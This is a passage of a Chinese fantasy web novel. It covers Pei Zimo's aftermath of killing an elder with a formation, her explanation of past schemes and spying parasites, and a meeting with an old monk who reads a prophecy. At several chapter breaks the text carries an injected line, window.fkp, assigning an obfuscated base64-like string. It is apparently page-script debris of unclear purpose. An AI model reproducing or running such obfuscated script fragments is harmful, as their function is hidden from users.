“你也不能怪凌霄的消息不准,毕竟冥蛉这种东西,在人世间听他的命令,可到了地府,就跟他失去联系了。不然我在地府那么久,早就有人发现冥蛉的事了,我也不会过了这么多年,才知道我和凌锦夜的身上有冥蛉。” “锦夜呢?”凌霄眯眼看着裴子墨。 “我刚才剖开他的胸口,取出了他身上的冥蛉,至于他能不能熬过去,那就看造化了。不过你也不用太担心,你看我不还活得好好的么?”裴子墨笑道。 她的话音落下,九星灭仙阵的光芒也黯淡下去,阵法中间的九长老已然一动不动。 裴子墨瞥了一眼,才对着二长老和凌霄道,“如果九长老不对我的孩子下毒手,我也不会给他准备这个,你们回去告诉大长老,我等他亲自来,下一个九星灭仙阵给他备着呢。” 二长老拧着眉要上前,却被凌霄拦住。 凌霄看向裴子墨,“怪不得我们一直以为你的术法低微,你还是和上一世一样,在修魔道,你跟凌珞共命,凌珞也同样入魔,他帮你把所有的术法之力,随着黄泉路,引入了地府。” 裴子墨对凌霄的说法不置可否,只是抬手指了指外面,“我今天已经报了一部分仇,现在还挺满意的,你们可以现在离开,不然……执意想要陪九长老长眠此地,我也不介意,那就没人回遁世岛通风报信了,我可想看着大长老气急败坏的模样呢。” 二长老这会也冷静了下来,裴子墨这几世,从来没有像现在这样硬刚遁世岛的长老。 之前他们来了很多人封印裴子墨的那一次,她也没有向长老动手,而是一直躲着长老对其他人下手。 因为她之前确实没有对抗长老的能力。 如今……他们跟九长老分开也没有多长时间,九长老甚至连求救的信号都没有发出来,就落入九星灭仙阵。 而裴子墨明明有时间离开的,可她没有走,就在这里等着他们过来,如果没有什么后手,没有什么把握,她绝对不会做这么愚蠢的事情。 二长老拧了拧眉,“好,裴子墨,你的原话我会带到,但大长老出岛之日,必是你的死期。” “拭目以待。”裴子墨笑道。 二长老又看了眼阵法里的九长老,皱了下眉,转身往外走。 凌霄落后了几步,抬眼看向裴子墨,目光里的神色晦暗不明。 裴子墨也就只是笑着看着他。 凌霄皱了下眉,终究还是追上二长老的脚步。 感受到他们是真的离开了此地,裴子墨才一口血喷出来。 站在一旁的鬼卿赶紧上前扶住她。 “你说的对,现在启动这阵法,确实能要了我的命。”裴子墨轻声道,“要不是血莲和凌珞撑着……你看,又欠了凌珞一条命。” 鬼卿皱起眉,还不等他说什么,裴子墨就没了意识,他只能抱起她往回走。 凌珞和白锦夜在房间中,起初他还好好的,但很快脸色就越来越白。 白锦夜一下子就明白过来,凌珞可没受伤,他现在这情况只能是一个原因,裴子墨受伤了,他挣扎着从床上起来,还不等走到门口,就听凌珞开口道,“怎么,怕自己死的不够快,现在出门去送死?” 随后又补充,“放心,血莲储蓄的能量,够她撑着了。” “血莲?”白锦夜皱起眉,但很快又想明白了,“你的血也能养血莲?” “是啊。”凌珞笑道,“意外吧?” 白锦夜眯了眯眼,“我现在开始觉得,你不太适合作为一个单独的个体存在,不然还是把你收回到我身上好一些。” “呵。”凌珞嘴角的笑容更大,“可惜了,你也只能想想而已。” 正说着话,鬼卿也抱着裴子墨进了门,把她放在床上。 “他们走了?”凌珞站起身问道。 “走了。”鬼卿点点头,说完又冷笑一声,“遁世岛的人也不过如此,见到一个九星灭仙阵,就直接走了,寒羽和紫翅天鹏那边的安排都还没用得上。” “语气可真够大的,一个九星灭仙阵,这是能杀了真仙的存在,谁在这阵法面前不发憷?”凌珞上前检查了下裴子墨,“问题不大,休息休息就好了。” 说完他转身看了白锦夜一眼,冷哼了一声,迈步出了门。 鬼卿也没再留,房间里就只剩下白锦夜和裴子墨。 白锦夜在床前的空地上站了半响,才摇摇晃晃地走到床边,也躺了下来,把手里一直握着的瓷瓶放在了裴子墨的手心,让她蜷起手握住瓷瓶,顿了顿,他的手也握住她的手。 第447章 改命 裴子墨醒来的时候,便见白锦夜侧身躺在床边看着她。 她动了动,感觉到手心里有东西,便抬起手来看。 “这上面还有大长老的……” “我听到了。”裴子墨打断他的话,“不急,已经走到今天了,没什么可急的。” “你下次要控制我之前,能不能提前打个招呼?”白锦夜皱起眉头,“果然不能相信你,一次次说了不会控制我,结果每一次都不手软。上次在圣殿,你帮我加固冥尸的阵法,就是为了这一次,是么?” “是啊。”裴子墨点点头,“你以前总有自己的想法,总是不能完完全全的听我的话。” 白锦夜轻轻叹了口气,“我还不是为了……” “你说你以前对我说这些话的时候,你爹他们通过冥蛉都听着,是不是听着就气死了?”裴子墨打断他的话道。 “你什么时候发现冥蛉的?”白锦夜开口问道。 “我一直就觉得,我做的事情他们都知道,可我不知道他们是怎么知道的,我也确实怀疑过你,所以我打碎了你的三生石,给了你很多真真假假的记忆混在一起。直到这一次到了楚江颠,我看到这里有活的冥蛉,我才意识到,凌霄养过冥蛉。”裴子墨轻轻皱了下眉头,“我控制着你去了圣殿之后,借着给凌珞讲以前的事情的时候,故意真假参半,说了你已经放弃了我的话,不然他们应该也没那么容易相信你在圣殿说的话。” “我在圣殿说了么?”白锦夜垂下眼,“还不都是你说的?” 裴子墨的手微微握了下拳,“等所有的事情结束,我会想办法把你和鬼卿的冥尸状态解除掉。” 白锦夜皱了下眉才问,“那凌珞呢?” “他不是我炼制的冥尸,我不一定有办法。”裴子墨摇了摇头。 白锦夜看着裴子墨,“这段时间……”他说着又轻咳一声,换了个问法,“你跟凌珞相处,会像是另外一个我么?” “你们两个差别还挺大的。”裴子墨叹了口气,看着手里的瓷瓶,“最近应该能清静一段时间了。” “不觉得很奇怪么?”白锦夜又问。 裴子墨不太明白他在问什么,隔了好一会,才意识到他还是在说凌珞,“凌珞跟你说什么了?” “没有,我就是……别扭。”白锦夜翻过身,看着上方。 裴子墨沉默了半响,才道,“凌珞会有他自己的生活,他既然接受过柳浅,就证明他曾经是想过重新开始的,只可惜没碰上个全心全意待他的人,不然……”她说着停顿了下,“以后会有的。” * 裴子墨只是脱力,外加强行开启阵法带了一点反噬,不过有血莲在,她恢复得倒是快。 白锦夜冥尸的体质依旧是拖了后腿,裴子墨好的七七八八的时候,他还是只能躺在床上养伤。 裴子墨不愿意一直呆在房间里,偶尔也会出去透透气。 楚江颠这些日子没了外力威胁,难得轻松,各人都有自己的事情做,裴子墨出去转一圈,也很难碰上其他人。 她在亭子里正坐着发呆的时候,便听到脚步声,转过头,见到凌珞慢悠悠地走过来。 “看样子你已经差不多没事了。”凌珞在旁边的长椅上坐下,“还以为你打算一直在房间里陪着白锦夜。” “我已经出来转了好几次了。”裴子墨整理了下衣摆。 “是么?”凌珞打量了她一会,顿了顿才开口道,“有些真实的事情,你是不是该重新给我讲一遍了?” 裴子墨笑了笑,转身趴在栏杆上,“抱歉啊,之前骗了你,因为我和白锦夜的身上都有冥蛉,我给你讲,也是为了骗遁世岛的人。” 她说着沉默了半响,继续道,“‘神算公’的事情都是真的,只不过我隐瞒了一点,就是改命这件事,其实是‘神算公’一脉不外传的秘技,其他人改命都会多少受到反噬和天谴,但‘神算公’一脉不会,他们甚至可以随意的改命。” “‘神算公’被他们镇压之后,其实试图改过很多人的命,让这些人帮他做事,但无一例外,都被其他十个长老发现,可‘神算公’改的命,他们改不回来,要么杀了,要么这人就会按照‘神算公’改的命去做事。” “这样下去,要不了多久,遁世岛上除了十个长老以外的人,就都会被‘神算公’改命,那样他就真的能凭一己之力毁了整个遁世岛。其实‘神算公’也知道,只要十个长老还在,遁世岛的人就算都死了,他们也还能另外再建遁世岛,而十个长老虽然也知道这一点,但另外再建遁世岛又何其容易?” “我其实不过是双方博弈的存在,那些年他们把我当岛主培养,对我宠爱有加,不过就是为了让‘神算公’注意到我,让‘神算公’以为能选择一条一劳永逸的路,我选择帮‘神算公’的那一刻,其实我和‘神算公’就都掉进了他们的陷阱。” “凌锦夜确实是凌霄故意安插在我身边的,不然我修习术法的地方,他怎么可能进得去,又怎么可能那么多年都没有被其他长老发现?那十个长老里,没有一个是真的帮我的,他们都是假意相帮,实则是为了真正控制我的动向。” “‘神算公’倾尽毕生全力,把赌注押在我身上,这样一来,十个长老只需要防备我就可以了,只要我活着,这件事就会不断的拉扯,我不过是他们牵制‘神算公’的一枚棋子,他们真的想要我死么?不会的,如果我死了,‘神算公’会另谋他人,他们就要再次费心防备。” “随时防备不知道哪冒出来的人好,还是防备一个随时都能在掌控中的人好呢?” 裴子墨轻笑了一声,“凌霄甚至为此把他本来最宠爱的儿子都推了出来,就为了这样一直耗下去。” “所以就算我死了,他们也不会收走我的魂魄,而是让我去地府,等我转世,让我以为下一次有机会,可实际上,所有的路早就都被他们堵死了。” 第448章 子墨 裴子墨垂眼看着湖面,“那一次,我死了,凌锦夜被带回遁世岛,其实大概是凌霄后悔了。他不想再让他的儿子在外面奔波,跟着我一起吃苦,本来以为用这样的方法,把他带回去,时间久了,他忘了我,也就能重新开始生活了。” “但他拒绝回家,拒绝承认自己的身份,哪怕在遁世岛的最底层吃苦,也不愿意回去。凌霄也有意磋磨他,以为他受不了了就会低头,可他没有,甚至还在一直谋划着如何从遁世岛逃出来。” “你说过的,他那次从遁世岛跑出来,是有个女子帮了忙,那个女子,其实也是被‘神算公’改了命,才能帮他一起跑出来,哪怕就是为了救他挡去攻击甚至是自己身亡,都是‘神算公’安排好的。” “这样一来,凌锦夜就失去了控制,几位长老之中,从此以后最恨我的,恐怕就是凌霄了。他的大儿子锦成你也见过了,总是耍些小聪明,不能说坏的彻底,但好的也不明显。二儿子性格软弱,就只有凌锦夜,是他早就看好继承衣钵的儿子。” “第三世他们镇压我的时候,就属凌霄一脉死的最多,为什么?因为他确实想杀了我,而且也想因此挑起我和凌锦夜之间的矛盾,我杀了他哥哥,我杀了他姐姐,他应该恨我才是。但是我想锦成他们死了,凌霄可一点都不会难过,他甚至都没有收起他们的魂魄,就眼睁睁地看着他们的魂魄被地府收走。” “那时候,我确实杀了不少人,凌锦夜也一直试图阻止我。我知道,我心里的恨意太盛,这么下去,迟早会被仇恨吞噬。所以我答应了他,找个地方隐居,我也把自己心里的恨意引出来,炼了七杀斩。我们隐居的地方本来没有人知道的,试图放下仇恨之后,确实过得也很轻松。” “可裴子衿突然就来了,我知道其实我一直都在遁世岛的监控之下,他们不会愿意见到我过平静的生活。但是还有谁能监控我呢?我那时候身边只有凌锦夜。我当时也确实偏执,我就是认为是凌锦夜给遁世岛通风报信,我认为他爹让他在我身边,并不是真的帮我,是为了监视我。” “他和裴子衿离开,是我以自杀威胁赶走的,我不想再活在遁世岛的监控之下,我以为只要没有他,我就可以脱离掌控。” “他后来再回来找我,一是知道了孩子的事情,另外可能也隐约的感觉到了我们被监控的事。他有自己的想法,他以回遁世岛听从长老们安排的条件,想要换我一条生路。他觉得,我被封印在大阵之下,可以慢慢化去我的戾气,而且趁我被镇压的时候,他可以回遁世岛想办法把孩子的魂魄抢回来。” “他其实……是不想我再掺和到这件事里。但凌霄已经顾不上那么多了,他可不想单纯的只是封印我,他逼迫凌锦夜杀了我,凌锦夜不肯,他就把他打回了大阵里,绝了他回遁世岛的心思。” “在大阵下的那些年,我确实恨他,甚至于不肯听他的任何解释,慢慢的,他也不再试图解释了。我以为他对此内疚,我以为他想赎罪,我以为我就可以利用他这样的心思,逼他杀了我。” “他应该也是因此而生的执念。至于那副去遁世岛的地图……” 裴子墨说着转过身,从袖袋里拿出地图展平,掌心处翻出一团火焰,她用火焰烤着地图,片刻后,地图上便出现了密密麻麻的小字,随后她收起火焰,把地图扔给了凌珞。 凌珞接过地图,上面无数的小字,可通篇下来,却也只有两个字——“子墨”。 “我看了他的三生石后,也知道他没有跟遁世岛通风报信,但遁世岛还是能知道我的一切,我仔细地检查过我自己,没发现任何异常,我那时候再怀疑的,就是他爹在他身上做了手脚。毕竟他们每一脉都有自己的秘技,外人可能确实发现不了。所以这一世我对他的禁锢很深,三生石碎了,他的一切都被我封印,也从一开始就把他炼成冥尸。” “直到前些日子,我在这里发现了活的冥蛉,我才真的意识到,遁世岛是如何知道我们的事情的。他这一次去圣殿,把遁世岛的人引来,是我控制他去做的。” 她说着仰头向后靠在栏杆上,看着蓝天,慢慢地闭上眼睛,“现在好了,冥蛉没有了,九长老也死了,遁世岛能消停一段时间了。” “你什么时候开始怀疑凌霄的?”凌珞又问。 “他那么苦心的帮我,甚至把儿子都搭上了,我一开始确实没怎么怀疑他。”裴子墨开口道,“但是总是出问题,时间久了,总要把身边的人都好好的梳理一遍。上次遁世岛的人来,我把白锦夜赶回盛京,那时候还不知道冥蛉的事,就是想看看他们会不会把白锦夜带回去。” “而且,我还让白锦夜如果见到凌霄,就把这一世我们之间发生的事情,全都告诉凌霄。” “这一世,我和他之间始终保持距离,拒绝他的所有示好,在血域的时候,甚至想要杀了他,这顺了凌霄的意。但那会白锦夜还在隐瞒我的行踪,所以他如果当时把白锦夜带走,白锦夜就还会对我心存幻想,他只能把白锦夜留下,让我和他之间彻底决裂,让白锦夜彻底放弃我,才能安心地跟他回遁世岛接受他所有的安排。” “我控制白锦夜去圣殿,让白锦夜说出我藏身的地点,他确实开心,可听说白锦夜并不想回遁世岛,他又气急败坏,既要又要,他想要的太多了,他把他儿子送出来的那一刻,就应该想到,一切都回不去了。” 凌珞皱起眉,隔了好半天才问,“你如果和遁世岛继续作对,早晚会对上凌霄,那毕竟是他爹。” 裴子墨吸了一口气,“那能怎么办呢?我将来也得对上我的家人,我也得对上我爹呢。不过,我也挺感激他的,起码白锦夜是他亲手送到我身边的。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第449章 我想要的,再也不会有了 凌珞垂眼看着手里的地图,火焰烤过的温度逐渐散去,上面的小字也慢慢消失,“所以,你和白锦夜之间……以后就再也没有任何阻碍了。” “嗯。”裴子墨应了一声,睁开眼睛站起来,“出来好一会了,我要回去了。” 凌珞也站起身,把地图朝她递过去。 裴子墨伸手去接地图的时候,却被凌珞抓住手,她轻轻皱了下眉头,“凌珞……” “我想确认一点事情。”凌珞开口道。 “什么?”裴子墨抬眼看他。 凌珞看着她,顿了顿,上前一步,把她抱进怀里。 裴子墨蹙起眉,隔了好一会,才抬起手,轻轻地拍了拍他的后背,“一切都会好起来的,你会有属于自己的一切,你想要的,都会有的。” 凌珞没说话,只是转头轻轻地吻了吻她的发丝,暗暗地吸了一口气,放开手,后退了一步,“嗯,我想了想,你在我心里,始终都是那个叫我凌珞叔叔的小女孩,那些其他的复杂的感情,大概都是从白锦夜的身上带来的,应该早晚会散去。其他的事情我没有参与过,这一世我把你养大,你以后别忘了我的养育之恩就行。” 裴子墨轻笑了一声,“这点辈分的便宜,你占起来没完了。” “是啊,本来我和他是一体,但是你叫我叔叔,他也总不能跟我称兄道弟,将来指不定也要喊我一声叔,想想他要管我叫叔时的脸色,都能笑出声。”凌珞说着往远处看去。 裴子墨也顺着他的目光转头看过去,白锦夜不知道什么时候从房间里走了出来,她收回目光看向凌珞,“行了,该知道的你都知道了,别想那么多了,这段时间好好修习术法,将来还要你帮忙呢。”说完便转身朝白锦夜走过去。 凌珞收回了手,但地图却还在他的手里,他捏着手里的地图,转头看着裴子墨慢慢地走远,自言自语地轻声道,“我想要的,再也不会有了。” 裴子墨走到白锦夜的身边,抬手扶住他,“你怎么出来了?” “看看你怎么出来这么这么久。”白锦夜从凌珞的身上收回目光,“跟他聊什么聊这么久?” “他说他觉得他更适合做我叔叔,让我别忘了他的养育之恩。”裴子墨笑道。 “是么?”白锦夜转头又看了凌珞的方向一眼,他出来好一会了,凌珞的动作,他都在看在眼里,他要是真的这么想,就不会吻裴子墨的头发了,他收回目光,抬起手,在裴子墨的头发上扫了扫,“那他倒是还挺有自知之明。”说着顿了顿又道,“你头发上有落叶。” 裴子墨也没有多心,只是说,“你别总对他有什么敌意,他本来就是从你身上剥离出来的一部分,你如果否认他,那不也是在否认你自己曾经的感情么?” “是,没有敌意。”白锦夜低头看着裴子墨,“我就是好一会没见你了。” 裴子墨笑了笑没说话。 走了好一会,都回了房间,白锦夜才又重新开口问道,“那天晚上,是你吧?” 裴子墨关上门,没理解他说的是什么,“哪天晚上?” 白锦夜咳了一声,脸上有些不自然,“洞房那天晚上。” “我不是告诉过你么?”裴子墨笑着看他。 “你否认了好几次,在裴清歌的身体里快死的时候,才说是你,可是……”白锦夜说着嘀咕道,“谁知道你当时是不是骗我的?你骗我也不是一次两次了。” “是我。”裴子墨有些无奈地看着他,“怎么都这么久了,你还在纠结这件事?” 白锦夜皱了下眉头,“我不该纠结么?” 裴子墨走到桌边坐下,转移了话题,“这一次,凌霄给了你你们家传的秘籍?” “嗯。”白锦夜点点头,把书拿出来,“不过……那天被血染了。” 裴子墨接了过来,上面虽然浸了血,不过墨色的自己也模糊的能看清,“你都已经看完了?” “嗯,后来恢复了记忆,也就不用再看了。”白锦夜说着蹙了下眉,“但不知道为什么凌霄会把这本书给我。他给我的时候,还说你封印我的记忆,是为了保护我。” “前世的事,他以为你放弃我了,这一世我又对你不冷不热的,我让你把我们之间的事全都告诉他,估计跟他从冥蛉那里听到的没有任何区别,所以觉得你恢复了记忆,我们之间的关系也不可能恢复了,他对你始终还有一丝希望在。”裴子墨说着顿了下,“他看到九长老在九星灭仙阵里,又听我说冥蛉的事,还是很紧张的问你的。” “我想大概凌霄这些年在遁世岛的日子也不算好过,不知情的人会觉得你背叛了遁世岛,他觉得脸上无光。知情的人,又会觉得你没有按照他们的安排来做,也会揶揄他。若是你那二哥给他长脸估摸着也还好,可偏偏你二哥也不争气。” “他对你还是心存希望,所以他在你面前也不想太做坏人,可又希望我们之间彻底决裂。不然也不会在你一到圣殿,就立刻让凌澈来通知我。” 白锦夜垂眼看着桌面,没有说话。 裴子墨也不想再跟他聊这种话题,假设哪一天真的对上凌霄,到底该如何,她也会让白锦夜自己来做决定,“其实我一直好奇一件事,‘十一公’继承九天玄女的术法,那裴家到底是哪来的,裴家这一脉传承的是什么,为什么能一直跟‘十一公’在一起。这些年我试图找这个原因,但也一直都没有头绪。” “不过我想,凌珞应该知道什么。” “嗯?”白锦夜挑了下眉,“他会知道?” “你以前听过血莲么?”裴子墨反问道,“在整个遁世岛,都没有人提过血莲这件事,好像只有遁世岛之外的‘十一公’的血脉,才隐约的知道一些血莲的事情,而现在这个世界上,真正有血莲种子的,只有凌珞。” “他的血也可以养你身上的血莲,真正的原因,是我和他同源同宗还是……他的血就是可以养所有的血莲?”白锦夜沉默了一会开口问道。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第450章 不是孽缘就行 裴子墨摇了摇头,“你现在这样问我,那我也不知道该怎么回答了。”她说着把手里的书又推到白锦夜面前,“但是说到同源同宗的事,你这本书倒是可以送给他去修炼。” 白锦夜看着桌上的书,“你送去会好一点。” “你们这一脉,修习的时候肯定有很多需要注意的地方,这我哪里知道?”裴子墨笑道。 白锦夜皱了下眉,“你是想我趁机问问血莲的事?” “他应该不会告诉我。”裴子墨低声道,“但是能不能告诉你,那就看你怎么问了。” 白锦夜苦笑一声,“估计也不会太容易。” 裴子墨摇了摇头,“我猜这血莲养起来,有很多需要注意的东西,将来怎么用,甚至说不定还有些危害,他不会说给我的,也只有告诉你最合适。不过……他这个人的性子有点别扭,就算明知道应该告诉你,说不定也要绕一个很大的弯子。” “我试试吧。”白锦夜点点头。 “对了,你告诉他,我有几次晕过去之后,到了一个奇怪的地方,那里有一个血红色的池子,池子里面,应该也都是血莲。那里还有一个人,我没有见过他,只是听过他的声音,他给我简单的说过一些血莲的事情。”裴子墨又道。 “怎么以前没听你说过?”问完这句,白锦夜又有些无奈地笑了笑,在他之前没有恢复记忆的时候,裴子墨几乎什么都不会告诉他,所以也不用等裴子墨再说什么,他就继续道,“我过两天去找他。” “过两天?”裴子墨看着他不太理解。 “嗯。”白锦夜应了声,“他今天估摸着也不想跟我闲聊。” “反正最近也不会有什么事,你自己看着办。”裴子墨说着站起来,“等你好起来,我们就得离开这了。” “去哪?这里不是挺安全的么?”白锦夜开口问道。 裴子墨轻轻地叹了一口气,“楚星玄要走,楚云颂死之前,跟他说了他的身世,虽然他的亲生父母已经被楚云颂杀了,但是应该还有其他亲人,他想去东凉国转转。我们也有别的事要做……”她说着顿了顿,也还是如实告诉了白锦夜,“裴子衿上次来,应该是做了什么,就她那两把刷子,还学别人改国运。” 白锦夜这也才想起当时裴子衿劝他离开的时候,就说她可以改天风国的国运,后来在回遁世岛的路上,裴子衿说她已经改过了,当时他懒得理裴子衿,也就没把她的话往心里去。 如今有些事也不需要裴子墨跟他解释多少,他当然明白,这改国运哪是那么简单的事情,事情一环扣一环,一旦有哪个地方出了差错,不但可能没有改好,还可能会引起连锁反应导致某些厄运提前到来。 他想着也自己简单的算了下,脸色微微变了变,“还真是……要回去一趟了。” 看着他的动作,裴子墨笑了笑,以后总算不需要事事都要她来操心了。 * 在离开楚江颠之前,白锦夜才去找凌珞,两个人聊了许久,但是等白锦夜回来之后,却什么都没有跟裴子墨提起,裴子墨也就知趣的没有问。 凌珞要去研究书上的术法,在白锦夜的建议下,去了琼华山。 楚星玄也去了东凉国。 虽然只走了两个人,但是剩下人都不是爱说话的人,就显得有点冷清了。 裴子墨放慢了脚步,跟鬼卿走到了一起,“鬼卿,等到了盛京,我便教你些裴家一脉相承的术法吧。” 鬼卿有些诧异地看着裴子墨,虽然他也早就猜到裴子墨前世跟圣女一脉肯定是有些关系的,但是她自己从来没有提过这件事,他也就没有问。 “在你生活的年代,你已经是圣女一脉的佼佼者,估摸着当时传世的术法,你都学的七七八八了。不过那会剩下的术法,和最开始相比,恐怕连十分之一都不到。”裴子墨说着轻轻叹了一口气,“那些失传的,我可以教你,就看你能不能学会了。” 诧异过后,鬼卿的眼里便只剩下激动,若是之前,他留在裴子墨的身边还能保护她,但是如今,裴子墨已经不需要他的保护了,他留下来,甚至可能是累赘。这一路上他都在想,是不是到了他该离开的时候了。 尤其是凌珞要去琼华山闭关修炼之后,他更是觉得,应该找个机会跟裴子墨说出口了。 “多谢。” “客气什么?”裴子墨笑了笑,“你的术法提升,对我来说也是好事。” 正说着话,走在前面的白锦夜突然停下了脚步,皱眉朝前看去。 裴子墨也顺着他的目光看去,便见前面的茶棚里,一个老和尚带着一个中年和尚正在喝茶,“这么巧么?”她说着往前走了几步,“走,咱们也去喝杯茶。” 老和尚一边吸溜吸溜地喝茶,一边瞄着裴子墨他们走过来。 裴子墨也没有见外,在老和尚的桌边坐了下来,“大师,咱们真是有缘啊。” “不是孽缘就行。”老和尚嘿嘿笑了两声,朝着裴子墨低声道,“前两天,我感觉到有个九星灭仙阵的阵法启动了,正打算去看看呢,只不过我这腿脚慢,刚走到这就碰到你们了,看你们来的方向……那九星灭仙阵,不会是你们闹出来的动静吧?” “大师真是厉害,隔着这么远,都能感受到九星灭仙阵。”裴子墨没有承认,也没有否认。 “是这阵法威力太大。”老和尚说着顿了顿,也没再继续问下去,只是叹了一口气,“哎,看到这阵法,不由又想起我那可怜的师父了。他要是小心些,也不会死在九星灭仙阵里了。想想那场景,我都害怕,谁知道这世上还有没有别的九星灭仙阵了,我就琢磨着,有机会得好好探查一番,可别哪天一不小心把自己给灭了。” 他说着又看向裴子墨,“那你说我该多冤啊,死在自己创立的阵法之下。不过……”他搓了搓手,“说句实话,这阵法实在过了太多年了,我自己都忘得差不多了,怎么用来着,你给我讲讲听听。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第451章 专门等我们的 这老和尚一副不耻下问的模样倒是让裴子墨诧异了,她看了老和尚半响,才道,“你忘了?” “不能忘么?”老和尚一瞪眼,说得理直气壮,“随手搞个阵法出来,我还得费力地记着它么?” 裴子墨淡笑着看着老和尚,没有说话。 顿了半响,老和尚声音又压低了些,问,“你这阵法是从哪学的?” 裴子墨依旧不说话。 老和尚想了好一会,“这样吧,把你那本书拿出来,我给你读几页。” 裴子墨倒也不客气,立刻把书拿出来,放在老和尚面前,“那就劳烦大师了。” “哼。”老和尚哼了一声,又看向中年和尚,“你不是说你肚子疼要去茅厕么?怎么还不去?” “我……”中年和尚愣了会,对上老和尚的视线,赶紧捂住肚子,“是是是,我肚子疼,要去茅厕了。”说完捂着肚子一溜烟的跑了。 老和尚瞥了白锦夜一眼,低头看书没说话。 裴子墨对白锦夜使了个眼色,白锦夜也就站起身,走到鬼卿那桌坐下了。 老和尚这才清了清嗓子,以极低的声音道,“这里说的是天下将有三年大旱,随后是一年的洪灾,然后是瘟疫,天下之民,十不存六。” 裴子墨皱起眉头,“什么时候开始有大旱?天降大灾一般都是因什么祸端而起,可说了是因为什么?” 老和尚摇了摇头,掐指算了算,“离大旱没有几个月了,哼,有人妄图改变天命,一己只过,天下受之。” 裴子墨眯了眯眼,估计大概率是裴子衿改国运的事,顿了顿,她才又问,“如果让一切恢复正规呢?” “那也得能恢复才行。”老和尚嗤笑一声,翻了一页书,道,“这里说遁世岛犹如天神出世,救世民于水火之中。呸。” 裴子墨抬眼看他,这老和尚说到遁世岛的时候,满脸不屑,这么看来估摸着他也看到了遁世岛任务,但是这么不屑,显然是根本没想着去做,“大师似乎对遁世岛颇有不满。” “都犹如天神出世了,我有什么不满?”老和尚说完又翻了一页,“遁世岛覆灭——”说到这,他停了下来,没有再往下说。 裴子墨轻轻皱了一下眉头,等了会,还是不见他继续说,便出声催促,“然后呢?” 老和尚把书合上,推回到裴子墨面前,“看不清了。” “大师不然再好好看看。”裴子墨看着他。 老和尚笑眯眯地看着裴子墨,“看样子对遁世岛不满的也不只是我一个人,你这不是也挺关心遁世岛覆灭的么?” 裴子墨轻笑一声,“原来书上根本没写这句话,是你编出来诳我的。” “老和尚我从不诳人,只是……”老和尚笑道,“老和尚就是讲究礼尚往来。” 裴子墨沉默了一会,才道,“不瞒大师,那九星灭仙阵,是我在地府学到的,我在地府未投胎之前,曾在地府做过一段时间鬼差,那时候见过一个魂魄,是他给我讲了这阵法。” 听到这句话,老和尚眯起眼睛,想了会才问,“那人叫什么长什么样?” “我也不知道他叫什么。”裴子墨摇了摇头,“他不是我负责的魂魄,我只是帮别人看了他一会,闲聊的时候说到的,他看上去四十几岁,道士模样打扮。” 老和尚轻轻点点头,“这阵法的魂魄你从何处而来?” “地府。”裴子墨依旧没有隐瞒。 老和尚盯着裴子墨看了会,“看样子,你和地府的关系可不一般啊。”说完,他垂眼看了会桌面,才道,“这遁世岛覆灭,后半句是,遁世岛众人收归地府。” 裴子墨本来还以为能透露一些关于遁世岛覆灭的过程,没想到竟是这样的后半句,她轻轻叹了口气,眼里闪过一抹失望。 老和尚敲了敲桌子,“这九星灭仙阵是我所创,我从未告诉过任何人,平生也就用过一次,但机缘之下,竟被你学了去,也算是缘分,你若是拜我为师,我能教你的肯定更多。” 裴子墨倒是没想到老和尚生了收徒的想法,她怔了下,才道,“我这人总是会给身边人带来灾祸,怕是没有福气做你的徒弟,还是算了吧。” 老和尚轻笑了一声,也没有勉强,只是说,“弄明白这九星灭仙阵是怎么回事了,倒也没必要再走那么远了,那就继续去游山玩水吧。”他说着站起身,笑着看向白锦夜。 白锦夜好半天才明白他的意思,在身上摸了摸,摸出了几张银票,又摘下腰牌递过去,“大师居无定所,也不知道这银票该送往何地,这些钱大师先收着,之后只要在天风国境内,不管去哪,只要到钱庄里拿着我的腰牌,都能取出钱来。” 老和尚接过银票迅速的塞进怀里,腰牌倒是拿在手里看来看去看了半响,“这么小个东西就能取出钱来?” “是。”白锦夜点点头。 老和尚摇了摇头,把腰牌扔了回来,“倒也不用那么麻烦了,这段时间我们在天风国已经转了不少了,接下来准备去东凉国了。” 说到这,他意味深长地看了裴子墨一眼,对着中年和尚招了招手,转身离开了茶棚。 裴子墨看着他离开的背影,还不等跟其他人说话,就听到耳边响起老和尚的声音—— “要是后悔了,就来东凉国找我,那遁世岛的大长老,在修炼魂魄上颇有些门路,你可不是对手。” 她微微一怔,这话刚才老和尚没说,但是现在其他人显然也听不到,只是……这老和尚对遁世岛好像也很熟悉呢。 寒羽要了些点心还没吃完,她也就重新回去坐下,白锦夜犹豫了下,开口道,“应该不是这么巧吧?” 裴子墨点点头,“估计这大师就是专门在这等我们的。” “他怎么那么巧就要去东凉国?”白锦夜皱起眉头。 裴子墨也想不通这件事,明明这边离去西夜国更近,他若是想要游山玩水,眼下最方便的,肯定是去西夜国,她看着老和尚离开的方向,隔了半响才道,“咱们先去盛京,把裴子衿的烂摊子收拾一下,之后若是无事,便去东凉国找楚星玄。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第452章 天风国的喜事 